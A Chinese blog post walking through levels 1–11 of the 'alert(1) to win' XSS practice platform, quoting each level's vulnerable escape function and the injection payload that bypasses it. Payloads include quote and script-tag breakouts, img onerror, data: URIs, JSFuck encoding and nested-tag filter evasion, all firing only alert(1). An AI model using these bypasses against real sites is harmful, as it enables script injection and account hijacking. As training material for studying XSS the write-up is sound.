XSS好难啊~~ 
简介 alert(1) to win 是一个在线XSS练习平台,个人感觉挺有意思的,本篇文章记录的是1-11题
1.Warmup 1 2 3 function  escape (s )   return  '<script>console.log("' +s+'");</script>' ; } 
代码很简单,且没做过滤,那么只需要闭合掉双引号和括号即可
1 2 3 ");alert(1)// 还有另一种方式可以减少一个字符输入 " );alert(1 ," 
2.Adobe 1 2 3 4 function  escape (s )   s = s.replace(/"/g , '\\"' );   return  '<script>console.log("'  + s + '");</script>' ; } 
这里是在第一题基础上把双引号给加上一个"\"转义,那么只需要再转义符号前加一个转义符号即可绕过
3.Json 1 2 3 4 function  escape (s )   s = JSON .stringify(s);   return  '<script>console.log('  + s + ');</script>' ; } 
从本题以后大部分会对引号和反斜杠进行转义
这题的话可以直接把script结束掉,<script> 标签优先级要高于引号
1 <script>alert(1 )</script>  
4.JavaScript 1 2 3 4 5 6 7 8 9 function  escape (s )   var  url = 'javascript:console.log('  + JSON .stringify(s) + ')' ;   console .log(url);   var  a = document .createElement('a' );   a.href = url;   document .body.appendChild(a);   a.click(); } 
本题在于URL编码,只要将"编码成为%22即可通过
5.MarkDown 1 2 3 4 5 6 7 8 function  escape (s )   var  text = s.replace(/</g , '<' ).replace(/"/g , '"' );      text = text.replace(/(http:\/\/\S+)/g , '<a href="$1">$1</a>' );      text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g , '<img alt="$2" src="$1.gif">' );   return  text; } 
这一题把<与"都进行了HTML实体编码,同时将http:....转换为a标签,把[[a|b]]中的a转换为img标签的src而b则是alt,解开这道题的关键在于img和a标签合在一起共出现了6个双引号
所以构造
得到的结果为
1 <img  alt ="<a href=" http: //onerror =alert(1)// " src ="a.gif" > ">http://onerror=alert(1)//]]</a > 
6.DOM 1 2 3 4 5 6 7 8 9 10 function  escape (s )         var  m = s.split(/#/ );      var  a = document .createElement('div' );   a.appendChild(document ['create' +m[0 ]].apply(document , m.slice(1 )));   return  a.innerHTML; } 
这一题的意思是将输入数据按#分割,第一份作为创建类型,第二份拼接到第一份中间,这里可以采用createComment也就是注释,来进行alert
1 Comment#><script>alert(1)</script> 
7.CallBack 1 2 3 4 5 6 7 8 9 function  escape (s )      var  thing = s.split(/#/ );    if  (!/^[a-zA-Z\[\]']*$/ .test(thing[0 ])) return  'Invalid callback' ;   var  obj = {'userdata' : thing[1 ] };   var  json = JSON .stringify(obj).replace(/</g , '\\u003c' );   return  "<script>"  + thing[0 ] + "("  + json +")</script>" ; } 
还是用#进行分割,第一段可以出现',而且没有对'进行处理
所以这里可以用
构造后的到的结果是
1 <script > '({"userdata":"' ;alert(1 )</script > 
8.Skandia  1 2 3 function  escape (s )   return  '<script>console.log("'  + s.toUpperCase() + '")</script>' ; } 
此题会将所有输入的字母转换为大写,这里可以采用data伪协议或者是JsFuck进行绕过
data:
1 </script > <script  src =data:text/html,%61%6c%65%72%74(1) > 
JsFuck:
1 ");[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()// 
9.Template  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 function  escape (s )   function  htmlEscape (s )      return  s.replace(/./g , function (x )         return  { '<' : '<' , '>' : '>' , '&' : '&' , '"' : '"' , "'" : '''  }[x] || x;             });   }   function  expandTemplate (template, args )      return  template.replace(         /{(\w+)}/g,          function (_, n )             return  htmlEscape(args[n]);          });   }      return  expandTemplate(     "                                                \n\        <h2>Hello, <span id=name></span>!</h2>         \n\       <script>                                       \n\          var v = document.getElementById('name');    \n\          v.innerHTML = '<a href=#>{name}</a>';       \n\       <\/script>                                     \n\     " ,    { name  : s }   ); } 
这题将<>&'"全部转换为了html实体编码,不过可以通过十六进制的方法进行绕过
1 \x3cimg src=@ onerror=alert(1) \x3e 
其实\x3c为< \x3e为>
10.Json2 1 2 3 4 5 function  escape (s )   s = JSON .stringify(s).replace(/<\/script/gi , '' );   return  '<script>console.log('  + s + ');</script>' ; } 
在一的基础上做了一个替换,把</replace>替换为空,可以采用</sc</scriptript>的形式绕过
1 </sc</scriptript><script>alert(1);// 
11.CallBack2 1 2 3 4 5 6 7 8 9 function escape(s) {   // Pass inn "callback#userdata"   var thing = s.split(/#/);    if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';   var obj = {'userdata': thing[1] };   var json = JSON.stringify(obj).replace(/\//g, '\\/');   return "<script > " + thing[0] + " (" + json +" )</script > "; } 
相较于1,这里将斜杠和反斜杠进行转义,所以无法用</script>结束script,也不能用//进行注释,不过可以用<!–,使JavaScript终止